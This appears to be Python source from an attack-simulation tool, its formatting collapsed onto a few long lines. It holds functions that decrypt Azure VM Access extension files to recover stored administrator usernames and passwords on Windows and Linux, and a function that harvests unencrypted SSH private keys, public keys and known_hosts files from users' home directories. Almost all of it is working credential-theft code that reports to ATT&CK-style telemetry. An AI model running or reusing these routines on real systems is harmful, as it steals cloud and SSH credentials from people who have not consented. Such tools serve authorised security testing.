def get_pass_windows(filepath): """ Extract passwords from Windows azure VM Access files :return: Username,password """ try: json_data = json.load(open(filepath, "r")) # this is liable to change but seems to be stable over the last year protected_data = json_data["runtimeSettings"][0][ "handlerSettings"]["protectedSettings"] username = json_data["runtimeSettings"][0]["handlerSettings"][ "publicSettings"]["UserName"] # we're going to do as much of this in PS as we can. ps_block = ";\n".join([ '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | ' "Out-Null", '$base64 = "%s"' % protected_data, "$content = [Convert]::FromBase64String($base64)", "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", "$env.Decode($content)", "$env.Decrypt()", "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", "Write-Host $utf8content", # we want to simplify parsing ]) ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) ps_out = ps_proc.communicate(ps_block)[0] # this is disgusting but the alternative is writing the file to disk... password_raw = ps_out.split("\n")[-2].split(">")[1].split( "$utf8content")[1] password = json.loads(password_raw)["Password"] T1005Telem(ScanStatus.USED, "Azure credentials", "Path: %s" % filepath).send() T1064Telem( ScanStatus.USED, "Powershell scripts used to extract azure credentials.").send( ) return username, password except IOError: LOG.warning( "Failed to parse VM Access plugin file. Could not open file") return None except (KeyError, ValueError, IndexError): LOG.warning( "Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: LOG.warning( "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" ) return None
def get_pass_linux(filepath): """ Extract passwords from Linux azure VM Access files :return: Username, password """ linux_cert_store = "/var/lib/waagent/" try: json_data = json.load(open(filepath, 'r')) # this is liable to change but seems to be stable over the last year protected_data = json_data['runtimeSettings'][0][ 'handlerSettings']['protectedSettings'] cert_thumbprint = json_data['runtimeSettings'][0][ 'handlerSettings']['protectedSettingsCertThumbprint'] base64_command = """openssl base64 -d -a""" priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint) b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE) b64_result = b64_proc.communicate(input=protected_data + "\n")[0] decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() T1064Telem( ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send() return decrypt_data['username'], decrypt_data['password'] except IOError: LOG.warning( "Failed to parse VM Access plugin file. Could not open file") return None except (KeyError, ValueError): LOG.warning( "Failed to parse VM Access plugin file. Invalid format") return None except subprocess.CalledProcessError: LOG.warning( "Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data" ) return None
def get_ssh_files(usr_info): for info in usr_info: path = info["home_dir"] for directory in SSHCollector.default_dirs: if os.path.isdir(path + directory): try: current_path = path + directory # Searching for public key if glob.glob(os.path.join(current_path, "*.pub")): # Getting first file in current path with .pub extension(public key) public = glob.glob( os.path.join(current_path, "*.pub"))[0] logger.info("Found public key in %s" % public) try: with open(public) as f: info["public_key"] = f.read() # By default private key has the same name as public, # only without .pub private = os.path.splitext(public)[0] if os.path.exists(private): try: with open(private) as f: # no use from ssh key if it's encrypted private_key = f.read() if private_key.find( "ENCRYPTED") == -1: info[ "private_key"] = private_key logger.info( "Found private key in %s" % private) T1005Telem( ScanStatus.USED, "SSH key", "Path: %s" % private).send() else: continue except (IOError, OSError): pass # By default known hosts file is called 'known_hosts' known_hosts = os.path.join( current_path, "known_hosts") if os.path.exists(known_hosts): try: with open(known_hosts) as f: info["known_hosts"] = f.read() logger.info( "Found known_hosts in %s" % known_hosts) except (IOError, OSError): pass # If private key found don't search more if info["private_key"]: break except (IOError, OSError): pass except OSError: pass usr_info = [ info for info in usr_info if info["private_key"] or info["known_hosts"] or info["public_key"] ] return usr_info
def T1005_telem_test_instance(): return T1005Telem(STATUS, GATHERED_DATA_TYPE, INFO)